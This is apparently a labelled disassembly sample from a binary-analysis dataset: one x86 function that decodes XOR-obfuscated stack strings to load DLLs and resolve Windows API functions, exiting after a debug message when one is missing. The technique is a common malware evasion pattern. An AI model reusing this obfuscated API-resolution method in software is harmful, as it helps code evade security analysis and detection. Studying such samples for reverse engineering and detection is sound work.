Function at 0x10015040
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1a9c
call fcn.1004ff40
push ebx
push esi
push edi
mov esi, 0xc0
mov dword [esp + 0x10], 0x82
mov di, si
mov dword [0x100b12b8], 0x1009f130
mov word [esp + 0xc], di
mov eax, 0xac
mov dword [esp + 0x14], eax
mov edi, 0xc2
xor di, word [esp + 0x14]
mov bx, si
mov word [esp + 0x560], ax
mov dx, si
mov word [esp + 0x562], di
mov eax, 0xd8
mov edi, eax
mov dword [esp + 0x1c], eax
xor di, word [esp + 0x14]
mov word [esp + 0x564], di
lea ecx, [eax - 0x10]
mov eax, dword [esp + 0x10]
mov edi, ecx
xor di, word [esp + 0x14]
mov word [esp + 0x566], di
mov di, si
xor di, word [esp + 0x14]
mov word [esp + 0x568], di
mov edi, 0xac
xor ax, di
xor bx, di
mov word [esp + 0x56c], ax
xor cx, di
xor eax, eax
mov word [esp + 0x56a], bx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor dx, di
mov word [esp + 0x574], ax
xor si, di
lea eax, [esp + 0x562]
mov word [esp + 0x56e], cx
push eax
mov word [esp + 0x574], dx
mov word [esp + 0x576], si
call ebx
mov dword [0x100b12bc], eax
mov ecx, 0x20
mov dword [esp + 0x7a6], 0x6b0020
xor eax, eax
mov dword [esp + 0x7aa], 0x520045
mov dword [esp + 0x7ae], 0x45004e
mov dword [esp + 0x7b2], 0x13004c
mov dword [esp + 0x7b6], 0xe0012
mov dword [esp + 0x7ba], 0x4c0044
mov dword [esp + 0x7be], 0x4c
nop dword [eax + eax]
xor word [esp + eax*2 + 0x7a8], cx
inc eax
cmp eax, 0xc
jge 0x100151a8
mov cx, word [esp + 0x7a6]
jmp 0x10015190
xor eax, eax
mov word [esp + 0x7c0], ax
lea eax, [esp + 0x7a8]
push eax
call ebx
mov dword [0x100b12c0], eax
mov ecx, 0xb0
mov dword [esp + 0x7c2], 0xf100b0
xor eax, eax
mov dword [esp + 0x7c6], 0xc600d4
mov dword [esp + 0x7ca], 0xc000d1
mov dword [esp + 0x7ce], 0x8300d9
mov dword [esp + 0x7d2], 0x9e0082
mov dword [esp + 0x7d6], 0xdc00d4
mov dword [esp + 0x7da], 0xdc
nop word [eax + eax]
xor word [esp + eax*2 + 0x7c4], cx
inc eax
cmp eax, 0xc
jge 0x10015238
mov cx, word [esp + 0x7c2]
jmp 0x10015220
xor eax, eax
mov word [esp + 0x7dc], ax
lea eax, [esp + 0x7c4]
push eax
call ebx
mov dword [0x100b12c4], eax
mov ecx, 0x40
mov dword [esp + 0x7de], 0x10040
xor eax, eax
mov dword [esp + 0x7e2], 0x90016
mov dword [esp + 0x7e6], 0x10003
mov dword [esp + 0x7ea], 0x730010
mov dword [esp + 0x7ee], 0x6e0072
mov dword [esp + 0x7f2], 0x2c0024
mov dword [esp + 0x7f6], 0x2c
nop word [eax + eax]
xor word [esp + eax*2 + 0x7e0], cx
inc eax
cmp eax, 0xc
jge 0x100152c8
mov cx, word [esp + 0x7de]
jmp 0x100152b0
xor eax, eax
mov word [esp + 0x7f8], ax
lea eax, [esp + 0x7e0]
push eax
call ebx
mov dword [0x100b12c8], eax
mov esi, 0xad
xor si, word [esp + 0x1c]
mov eax, 0xd8
mov word [esp + 0x644], si
mov ecx, 0xb4
mov esi, 0xd8
mov word [esp + 0x642], ax
lea ebx, [eax - 0x1b]
xor bx, si
lea edi, [eax - 0x2d]
mov word [esp + 0x648], bx
lea edx, [eax - 0x1c]
mov ebx, 0xaa
mov ax, cx
xor bx, si
xor ax, si
mov word [esp + 0x64a], bx
xor dx, si
mov ebx, 0xeb
mov word [esp + 0x654], ax
xor bx, si
mov word [esp + 0x652], dx
mov word [esp + 0x64c], bx
xor eax, eax
mov ebx, 0xea
mov word [esp + 0x658], ax
xor bx, si
lea eax, [esp + 0x644]
mov word [esp + 0x64e], bx
xor cx, si
mov ebx, 0xf6
mov word [esp + 0x656], cx
xor di, si
xor bx, si
push eax
mov word [esp + 0x64a], di
mov word [esp + 0x654], bx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x100b12cc], eax
lea edx, [esi - 0x1f]
mov eax, 0xd0
mov ecx, 0x87
mov dword [esp + 0x10], eax
xor cx, word [esp + 0x10]
mov word [esp + 0x65c], cx
mov ecx, 0xd0
lea esi, [eax - 0x12]
mov word [esp + 0x65a], ax
lea edi, [eax - 0x2d]
lea ebx, [eax - 0x2c]
lea eax, [edx + 3]
xor dx, cx
mov word [esp + 0x65e], dx
mov edx, ecx
mov ecx, 0xb1
xor si, dx
xor cx, dx
mov word [esp + 0x660], si
mov word [esp + 0x666], cx
xor di, dx
mov ecx, 0xfe
mov word [esp + 0x662], di
xor cx, dx
xor bx, dx
mov word [esp + 0x668], cx
mov ecx, 0xb4
xor cx, dx
mov word [esp + 0x664], bx
mov word [esp + 0x66a], cx
mov ecx, eax
xor ax, dx
xor cx, dx
mov word [esp + 0x66e], ax
xor eax, eax
mov word [esp + 0x66c], cx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov word [esp + 0x670], ax
lea eax, [esp + 0x65c]
push eax
call ebx
mov dword [0x100b12d0], eax
mov ecx, 0xdc
xor eax, eax
mov dword [esp + 0x6ee], 0xa900dc
mov dword [esp + 0x6f2], 0xb500a8
mov dword [esp + 0x6f6], 0xb800b0
mov dword [esp + 0x6fa], 0xb000b0
mov dword [esp + 0x6fe], 0xb800f2
mov dword [esp + 0x702], 0xb000b0
mov word [esp + 0x706], ax
nop word [eax + eax]
xor word [esp + eax*2 + 0x6f0], cx
inc eax
cmp eax, 0xb
jge 0x100154e8
mov cx, word [esp + 0x6ee]
jmp 0x100154d0
xor eax, eax
mov word [esp + 0x706], ax
lea eax, [esp + 0x6f0]
push eax
call ebx
mov dword [0x100b12d4], eax
mov ecx, 0x27
mov eax, 0x60
mov ebx, 0xc
mov dword [esp + 0x10], eax
xor cx, word [esp + 0x10]
mov word [esp + 0x578], cx
mov ecx, 0x24
xor cx, word [esp + 0x10]
lea edx, [eax - 0x37]
lea esi, [eax - 0xd]
mov word [esp + 0x576], ax
lea edi, [eax - 0x5c]
mov word [esp + 0x57a], cx
xor dx, 0x60
mov ax, bx
mov word [esp + 0x57c], dx
mov ecx, 0x52
mov edx, 0x60
xor ax, dx
xor cx, dx
mov word [esp + 0x588], ax
xor bx, dx
xor eax, eax
mov word [esp + 0x580], cx
mov ecx, 0x4e
mov word [esp + 0x58a], ax
lea eax, [esp + 0x578]
mov word [esp + 0x586], bx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor si, dx
xor cx, dx
mov word [esp + 0x57e], si
xor di, dx
mov word [esp + 0x582], cx
push eax
mov word [esp + 0x588], di
call ebx
mov dword [0x100b12d8], eax
mov ecx, 0x64
xor eax, eax
mov dword [esp + 0x708], 0x370064
mov dword [esp + 0x70c], 0x21002c
mov dword [esp + 0x710], 0x280028
mov dword [esp + 0x714], 0x560057
mov dword [esp + 0x718], 0x4a
mov dword [esp + 0x71c], 0x80008
mov word [esp + 0x720], ax
xor word [esp + eax*2 + 0x70a], cx
inc eax
cmp eax, 0xb
jge 0x1001562c
mov cx, word [esp + 0x708]
jmp 0x10015614
xor eax, eax
mov word [esp + 0x720], ax
lea eax, [esp + 0x70a]
push eax
call ebx
mov edx, dword [0x100b12bc]
mov dword [0x100b12dc], eax
test edx, edx
je 0x100159f2
mov cl, 0x98
mov dword [esp + 0x1e0], 0xf4ecca98
mov dword [esp + 0x1e4], 0xceecfddf
xor eax, eax
mov dword [esp + 0x1e8], 0xf1ebeafd
mov word [esp + 0x1ec], 0xf6f7
mov byte [esp + 0x1ee], 0
nop word [eax + eax]
xor byte [esp + eax + 0x1e1], cl
inc eax
cmp eax, 0xd
jge 0x100156a6
mov cl, byte [esp + 0x1e0]
jmp 0x10015690
lea eax, [esp + 0x1e1]
mov byte [esp + 0x1ee], 0
push eax
push edx
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b12e0], eax
test eax, eax
jne 0x10015743
movaps xmm0, xmmword [0x100a13d0]
movups xmmword [esp + 0xdcb], xmm0
mov dword [esp + 0xdeb], 0x8b8d9796
movaps xmm0, xmmword [0x100a1330]
movups xmmword [esp + 0xddb], xmm0
mov dword [esp + 0xdef], 0x85a2c48a
mov word [esp + 0xdf3], 0x888d
mov byte [esp + 0xdf5], cl
mov al, byte [esp + 0xdcb]
xor byte [esp + ecx + 0xdcc], al
inc ecx
cmp ecx, 0x29
jl 0x10015711
lea eax, [esp + 0xdcc]
mov byte [esp + 0xdf5], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0fc0]
movups xmmword [esp + 0x47e], xmm0
mov dword [esp + 0x48e], 0x4e454b
nop dword [eax]
mov al, byte [esp + 0x47e]
xor byte [esp + ecx + 0x47f], al
inc ecx
cmp ecx, 0x12
jl 0x10015760
lea eax, [esp + 0x47f]
mov byte [esp + 0x491], 0
push eax
push dword [0x100b12bc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1304], eax
test eax, eax
jne 0x10015802
movaps xmm0, xmmword [0x100a1aa0]
movups xmmword [esp + 0x14e5], xmm0
movaps xmm0, xmmword [0x100a1ba0]
movups xmmword [esp + 0x14f5], xmm0
movaps xmm0, xmmword [0x100a0ad0]
movups xmmword [esp + 0x1505], xmm0
nop dword [eax]
mov al, byte [esp + 0x14e5]
xor byte [esp + ecx + 0x14e6], al
inc ecx
cmp ecx, 0x2e
jl 0x100157d0
lea eax, [esp + 0x14e6]
mov byte [esp + 0x1514], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a16d0]
movups xmmword [esp + 0x722], xmm0
mov dword [esp + 0x732], 0xadb2afa6
mov dword [esp + 0x736], 0xafa9b4a1
mov word [esp + 0x73a], 0xae
mov al, byte [esp + 0x722]
xor byte [esp + ecx + 0x723], al
inc ecx
cmp ecx, 0x18
jl 0x10015831
lea eax, [esp + 0x723]
mov byte [esp + 0x73b], 0
push eax
push dword [0x100b12bc]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b12e4], eax
test eax, eax
jne 0x100158f2
movaps xmm0, xmmword [0x100a1b10]
movups xmmword [esp + 0x1998], xmm0
mov dword [esp + 0x19c8], 0xf9f1d6b0
movaps xmm0, xmmword [0x100a1840]
movups xmmword [esp + 0x19a8], xmm0
mov word [esp + 0x19cc], 0xfc
movaps xmm0, xmmword [0x100a1be0]
movups xmmword [esp + 0x19b8], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1998]
xor byte [esp + ecx + 0x1999], al
inc ecx
cmp ecx, 0x34
jl 0x100158c0
lea eax, [esp + 0x1999]
mov byte [esp + 0x19cd], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1720]
movups xmmword [esp + 0x770], xmm0
mov dword [esp + 0x780], 0x90aeafa9
mov dword [esp + 0x784], 0xa5a3afb2
mov word [esp + 0x788], 0xb3b3
mov byte [esp + 0x78a], 0
nop dword [eax]
mov al, byte [esp + 0x770]
xor byte [esp + ecx + 0x771], al
inc ecx
cmp ecx, 0x19
jl 0x10015930
lea eax, [esp + 0x771]
mov byte [esp + 0x78a], 0
push eax
push dword [0x100b12bc]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b12e8], eax
test eax, eax
jne 0x100159f2
movaps xmm0, xmmword [str.1_]
xor ecx, ecx
movups xmmword [esp + 0x1a3a], xmm0
mov dword [esp + 0x1a6a], 0x1d3a5c0f
movaps xmm0, xmmword [0x100a0e10]
movups xmmword [esp + 0x1a4a], xmm0
mov word [esp + 0x1a6e], 0x1015
movaps xmm0, xmmword [0x100a0c10]
movups xmmword [esp + 0x1a5a], xmm0
mov byte [esp + 0x1a70], al
nop dword [eax]
mov al, byte [esp + 0x1a3a]
xor byte [esp + ecx + 0x1a3b], al
inc ecx
cmp ecx, 0x35
jl 0x100159c0
lea eax, [esp + 0x1a3b]
mov byte [esp + 0x1a70], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100b12c0]
test edx, edx
je 0x100179b2
mov cl, 0x20
mov dword [esp + 0x154], 0x54456720
mov dword [esp + 0x158], 0x4b434974
xor eax, eax
mov dword [esp + 0x15c], 0x4e554f63
mov word [esp + 0x160], 0x54
nop
xor byte [esp + eax + 0x155], cl
inc eax
cmp eax, 0xc
jge 0x10015a46
mov cl, byte [esp + 0x154]
jmp 0x10015a30
lea eax, [esp + 0x155]
mov byte [esp + 0x161], 0
push eax
push edx
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b12ec], eax
test eax, eax
jne 0x10015ae2
movaps xmm0, xmmword [0x100a1830]
movups xmmword [esp + 0xc27], xmm0
mov dword [esp + 0xc47], 0xd4ced5cf
movaps xmm0, xmmword [0x100a19f0]
movups xmmword [esp + 0xc37], xmm0
mov dword [esp + 0xc4b], 0xc9c1e680
mov word [esp + 0xc4f], 0xcc
nop
mov al, byte [esp + 0xc27]
xor byte [esp + ecx + 0xc28], al
inc ecx
cmp ecx, 0x28
jl 0x10015ab0
lea eax, [esp + 0xc28]
mov byte [esp + 0xc50], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1190]
movups xmmword [esp + 0x3a6], xmm0
mov word [esp + 0x3b6], 0x57
nop dword [eax + eax]
mov al, byte [esp + 0x3a6]
xor byte [esp + ecx + 0x3a7], al
inc ecx
cmp ecx, 0x10
jl 0x10015b00
lea eax, [esp + 0x3a7]
mov byte [esp + 0x3b7], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b12f0], eax
test eax, eax
jne 0x10015bc2
movaps xmm0, xmmword [0x100a0df0]
movups xmmword [esp + 0x12bd], xmm0
mov dword [esp + 0x12dd], 0x1e223524
movaps xmm0, xmmword [0x100a0d20]
movups xmmword [esp + 0x12cd], xmm0
mov dword [esp + 0x12e1], 0x7353d31
mov dword [esp + 0x12e5], 0x39311670
mov word [esp + 0x12e9], 0x3c
nop dword [eax]
mov al, byte [esp + 0x12bd]
xor byte [esp + ecx + 0x12be], al
inc ecx
cmp ecx, 0x2c
jl 0x10015b90
lea eax, [esp + 0x12be]
mov byte [esp + 0x12ea], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a10d0]
movups xmmword [esp + 0x6a3], xmm0
mov dword [esp + 0x6b3], 0x514a4c6b
mov dword [esp + 0x6b7], 0x6f4b5f56
mov byte [esp + 0x6bb], 0
nop
mov al, byte [esp + 0x6a3]
xor byte [esp + ecx + 0x6a4], al
inc ecx
cmp ecx, 0x17
jl 0x10015bf0
lea eax, [esp + 0x6a4]
mov byte [esp + 0x6bb], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b12f4], eax
test eax, eax
jne 0x10015cb2
movaps xmm0, xmmword [0x100a1100]
xor ecx, ecx
movups xmmword [esp + 0x18f9], xmm0
mov dword [esp + 0x1929], 0x50555d7a
movaps xmm0, xmmword [0x100a1110]
movups xmmword [esp + 0x1909], xmm0
mov byte [esp + 0x192d], al
movaps xmm0, xmmword [str._PxNUJYoHNUR_Ok]
movups xmmword [esp + 0x1919], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x18f9]
xor byte [esp + ecx + 0x18fa], al
inc ecx
cmp ecx, 0x33
jl 0x10015c80
lea eax, [esp + 0x18fa]
mov byte [esp + 0x192d], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xa0
mov dword [esp + 0x1ef], 0xd4c5e7a0
mov dword [esp + 0x1f3], 0xd6c9d2e4
xor eax, eax
mov dword [esp + 0x1f7], 0xd0d9f4c5
mov word [esp + 0x1fb], 0xf7c5
mov byte [esp + 0x1fd], 0
nop dword [eax]
xor byte [esp + eax + 0x1f0], cl
inc eax
cmp eax, 0xd
jge 0x10015d06
mov cl, byte [esp + 0x1ef]
jmp 0x10015cf0
lea eax, [esp + 0x1f0]
mov byte [esp + 0x1fd], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b12f8], eax
test eax, eax
jne 0x10015db2
movaps xmm0, xmmword [0x100a0dc0]
movups xmmword [esp + 0xdf6], xmm0
mov dword [esp + 0xe16], 0x293c3518
movaps xmm0, xmmword [0x100a0d50]
movups xmmword [esp + 0xe06], xmm0
mov dword [esp + 0xe1a], 0x2d0a6c1b
mov word [esp + 0xe1e], 0x2025
mov byte [esp + 0xe20], cl
nop word [eax + eax]
mov al, byte [esp + 0xdf6]
xor byte [esp + ecx + 0xdf7], al
inc ecx
cmp ecx, 0x29
jl 0x10015d80
lea eax, [esp + 0xdf7]
mov byte [esp + 0xe20], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1890]
movups xmmword [esp + 0x4e2], xmm0
mov dword [esp + 0x4f2], 0xffd0edcd
mov byte [esp + 0x4f6], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x4e2]
xor byte [esp + ecx + 0x4e3], al
inc ecx
cmp ecx, 0x13
jl 0x10015de0
lea eax, [esp + 0x4e3]
mov byte [esp + 0x4f6], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b12fc], eax
test eax, eax
jne 0x10015e92
movaps xmm0, xmmword [0x100a1990]
movups xmmword [esp + 0x15d5], xmm0
mov byte [esp + 0x1605], cl
movaps xmm0, xmmword [0x100a1b90]
movups xmmword [esp + 0x15e5], xmm0
movaps xmm0, xmmword [0x100a18d0]
movups xmmword [esp + 0x15f5], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x15d5]
xor byte [esp + ecx + 0x15d6], al
inc ecx
cmp ecx, 0x2f
jl 0x10015e60
lea eax, [esp + 0x15d6]
mov byte [esp + 0x1605], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0a00]
movups xmmword [esp + 0x2c1], xmm0
mov al, byte [esp + 0x2c1]
xor byte [esp + ecx + 0x2c2], al
inc ecx
cmp ecx, 0xe
jl 0x10015ea1
lea eax, [esp + 0x2c2]
mov byte [esp + 0x2d0], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1300], eax
test eax, eax
jne 0x10015f62
movaps xmm0, xmmword [0x100a1bc0]
movups xmmword [esp + 0x1050], xmm0
mov dword [esp + 0x1070], 0xebfdfbf7
movaps xmm0, xmmword [0x100a1a80]
movups xmmword [esp + 0x1060], xmm0
mov dword [esp + 0x1074], 0xdeb8cfeb
mov dword [esp + 0x1078], 0xf4f1f9
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x1050]
xor byte [esp + ecx + 0x1051], al
inc ecx
cmp ecx, 0x2a
jl 0x10015f30
lea eax, [esp + 0x1051]
mov byte [esp + 0x107b], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1060]
movups xmmword [esp + 0x4f7], xmm0
mov dword [esp + 0x507], 0x4c5b5d52
mov byte [esp + 0x50b], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x4f7]
xor byte [esp + ecx + 0x4f8], al
inc ecx
cmp ecx, 0x13
jl 0x10015f90
lea eax, [esp + 0x4f8]
mov byte [esp + 0x50b], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1308], eax
test eax, eax
jne 0x10016042
movaps xmm0, xmmword [0x100a1ab0]
movups xmmword [esp + 0x1606], xmm0
mov byte [esp + 0x1636], cl
movaps xmm0, xmmword [0x100a19a0]
movups xmmword [esp + 0x1616], xmm0
movaps xmm0, xmmword [0x100a19b0]
movups xmmword [esp + 0x1626], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x1606]
xor byte [esp + ecx + 0x1607], al
inc ecx
cmp ecx, 0x2f
jl 0x10016010
lea eax, [esp + 0x1607]
mov byte [esp + 0x1636], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1180]
movups xmmword [esp + 0x673], xmm0
mov dword [esp + 0x683], 0x656a624f
mov dword [esp + 0x687], 0x737463
nop word [eax + eax]
mov al, byte [esp + 0x673]
xor byte [esp + ecx + 0x674], al
inc ecx
cmp ecx, 0x16
jl 0x10016070
lea eax, [esp + 0x674]
mov byte [esp + 0x68a], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b130c], eax
test eax, eax
jne 0x10016122
movaps xmm0, xmmword [0x100a17a0]
movups xmmword [esp + 0x1891], xmm0
mov dword [esp + 0x18c1], 0xb4b1b9
movaps xmm0, xmmword [0x100a14f0]
movups xmmword [esp + 0x18a1], xmm0
movaps xmm0, xmmword [0x100a1590]
movups xmmword [esp + 0x18b1], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1891]
xor byte [esp + ecx + 0x1892], al
inc ecx
cmp ecx, 0x32
jl 0x100160f0
lea eax, [esp + 0x1892]
mov byte [esp + 0x18c4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0bd0]
movups xmmword [esp + 0x351], xmm0
mov byte [esp + 0x361], 0
nop dword [eax]
mov al, byte [esp + 0x351]
xor byte [esp + ecx + 0x352], al
inc ecx
cmp ecx, 0xf
jl 0x10016140
lea eax, [esp + 0x352]
mov byte [esp + 0x361], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1310], eax
test eax, eax
jne 0x10016202
movaps xmm0, xmmword [0x100a16e0]
xor ecx, ecx
movups xmmword [esp + 0x11dc], xmm0
mov dword [esp + 0x11fc], 0xbea498a9
movaps xmm0, xmmword [0x100a1750]
movups xmmword [esp + 0x11ec], xmm0
mov dword [esp + 0x1200], 0xeca8ada9
mov dword [esp + 0x1204], 0xa0a5ad8a
mov byte [esp + 0x1208], al
nop dword [eax]
mov al, byte [esp + 0x11dc]
xor byte [esp + ecx + 0x11dd], al
inc ecx
cmp ecx, 0x2b
jl 0x100161d0
lea eax, [esp + 0x11dd]
mov byte [esp + 0x1208], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x90
mov dword [esp + 0xc5], 0xfffcd390
mov dword [esp + 0xc9], 0xf1d8f5e3
xor eax, eax
mov dword [esp + 0xcd], 0xf5fcf4fe
mov byte [esp + 0xd1], 0
nop
xor byte [esp + eax + 0xc6], cl
inc eax
cmp eax, 0xb
jge 0x10016246
mov cl, byte [esp + 0xc5]
jmp 0x10016230
lea eax, [esp + 0xc6]
mov byte [esp + 0xd1], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1314], eax
test eax, eax
jne 0x100162e2
movaps xmm0, xmmword [str.d___v]
movups xmmword [esp + 0xa64], xmm0
mov dword [esp + 0xa84], 0x44010800
movaps xmm0, xmmword [0x100a0b90]
movups xmmword [esp + 0xa74], xmm0
mov dword [esp + 0xa88], 0x80d0522
mov byte [esp + 0xa8c], cl
nop dword [eax]
mov al, byte [esp + 0xa64]
xor byte [esp + ecx + 0xa65], al
inc ecx
cmp ecx, 0x27
jl 0x100162b0
lea eax, [esp + 0xa65]
mov byte [esp + 0xa8c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1b00]
movups xmmword [esp + 0x3b8], xmm0
mov word [esp + 0x3c8], 0xf3
nop dword [eax + eax]
mov al, byte [esp + 0x3b8]
xor byte [esp + ecx + 0x3b9], al
inc ecx
cmp ecx, 0x10
jl 0x10016300
lea eax, [esp + 0x3b9]
mov byte [esp + 0x3c9], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1318], eax
test eax, eax
jne 0x100163c2
movaps xmm0, xmmword [str.p3]
xor ecx, ecx
movups xmmword [esp + 0x12eb], xmm0
mov dword [esp + 0x130b], 0x1f022015
movaps xmm0, xmmword [0x100a0b20]
movups xmmword [esp + 0x12fb], xmm0
mov dword [esp + 0x130f], 0x3031513
mov dword [esp + 0x1313], 0x19113650
mov word [esp + 0x1317], 0x1c
nop dword [eax]
mov al, byte [esp + 0x12eb]
xor byte [esp + ecx + 0x12ec], al
inc ecx
cmp ecx, 0x2c
jl 0x10016390
lea eax, [esp + 0x12ec]
mov byte [esp + 0x1318], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x95], 0xc0
mov al, 0x83
xor al, byte [esp + 0x95]
mov cl, 0xb2
xor cl, byte [esp + 0x95]
mov dl, 0xa5
mov byte [esp + 0x96], al
mov ch, dl
mov byte [esp + 0x97], cl
mov ah, 0xb4
mov cl, byte [esp + 0x95]
mov dh, 0x90
mov byte [esp + 0xf], 0xb0
xor ah, cl
mov al, byte [esp + 0xf]
mov bl, 0xa1
xor al, cl
mov byte [esp + 0xc], ch
mov byte [esp + 0x9e], al
xor ch, cl
mov al, byte [esp + 0xc]
mov bh, 0xa9
xor al, cl
mov byte [esp + 0x9a], ah
mov byte [esp + 0x9f], al
xor dl, cl
lea eax, [esp + 0x96]
mov byte [esp + 0x9b], ch
push eax
push dword [0x100b12c0]
xor bl, cl
mov byte [esp + 0xa8], 0
xor dh, cl
mov byte [esp + 0xa0], dl
xor bh, cl
mov byte [esp + 0xa1], bl
mov ecx, 0x100b12b8
mov byte [esp + 0xa4], dh
mov byte [esp + 0xa5], bh
mov byte [esp + 0xa8], 0
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b131c], eax
test eax, eax
jne 0x100164f2
movaps xmm0, xmmword [0x100a1aa0]
movups xmmword [esp + 0x9c4], xmm0
mov dword [esp + 0x9e4], 0xcea8edf8
movaps xmm0, xmmword [0x100a19d0]
movups xmmword [esp + 0x9d4], xmm0
mov dword [esp + 0x9e8], 0xe4e1e9
nop dword [eax]
mov al, byte [esp + 0x9c4]
xor byte [esp + ecx + 0x9c5], al
inc ecx
cmp ecx, 0x26
jl 0x100164c0
lea eax, [esp + 0x9c5]
mov byte [esp + 0x9eb], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1430]
movups xmmword [esp + 0x50c], xmm0
mov dword [esp + 0x51c], 0x8d9881b8
mov byte [esp + 0x520], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x50c]
xor byte [esp + ecx + 0x50d], al
inc ecx
cmp ecx, 0x13
jl 0x10016520
lea eax, [esp + 0x50d]
mov byte [esp + 0x520], 0
push eax
push dword [0x100b12c0]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1320], eax
test eax, eax
jne 0x100165d2
movaps xmm0, xmmword [0x100a15a0]
xor ecx, ecx
movups xmmword [esp + 0x1637], xmm0
mov byte [esp + 0x1667], al
movaps xmm0, xmmword [0x100a1530]
movups xmmword [esp + 0x1647], xmm0
movaps xmm0, xmmword [0x100a1470]
movups xmmword [esp + 0x1657], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1637]
xor byte [esp + ecx + 0x1638], al
inc ecx
cmp ecx, 0x2f
jl 0x100165a0
lea eax, [esp + 0x1638]
mov byte [esp + 0x1667], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xd0
mov dword [esp + 0x1fe], 0xb5b580d0
mov dword [esp + 0x202], 0xbdb19ebb
xor eax, eax
mov dword [esp + 0x206], 0xb980b4b5
mov word [esp + 0x20a], 0xb5a0
mov byte [esp + 0x20c], 0
nop dword [eax]
xor byte [esp + eax + 0x1ff], cl
inc eax
cmp eax, 0xd
jge 0x10016626
mov cl, byte [esp + 0x1fe]
jmp 0x10016610
lea eax, [esp + 0x1ff]
mov byte [esp + 0x20c], 0
